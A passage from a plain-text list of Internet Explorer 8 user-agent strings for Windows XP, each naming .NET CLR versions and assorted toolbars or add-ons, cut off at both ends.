3.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0C; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC EA 2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.3.22929)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.3.4.23051)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; Zune 3.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 3.5.20404; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; FDM; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.1; MS-RTC LM 8; Sleipnir/2.9.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.0.3705; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; Trident/4.0; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET4.0C; .NE\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; FDM; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; MS-RTC EA 2; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 1.1.4322; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbFXTV5/5.9.1.14019; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.04506.648; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022;\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbF-ET/5.8.0.12304)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTbVD/5.11.3.15590; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; msn OptimizedIE8;KOKR)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C; .NET4.0E; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; InfoPath.1; .NET CLR 3.5.30729; Zune 4.7)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.4506.2152; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; MAXTHON 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.3)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Zune 3.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.30729; FDM)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.30729; FDM; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.4506.2152)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; TheWorld)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; InfoPath.3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0E; .NET4.0C)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; ABPlayer_3.0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Avant Browser; Avant Browser; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; GTB6.6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; GTB7.4; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; WinNT-EVI 10.01.2010; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FBSMTWB; QQDownload 627; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTbPSI/5.9.1.14019)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; msn OptimizedIE8;ESES)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; msn OptimizedIE8;ENUS)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.370.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.370.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) chromeframe/8.0.552.224\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 2.0.50727; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.3; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.4)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; FDM; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6.6; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 1.1.4322; HbTools 4.8.2)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FunWebProductsp; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.45\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/7.0.517.44\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; InfoPath.1; MS-RTC LM 8)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; Sleipnir/2.9.6)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB0.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; 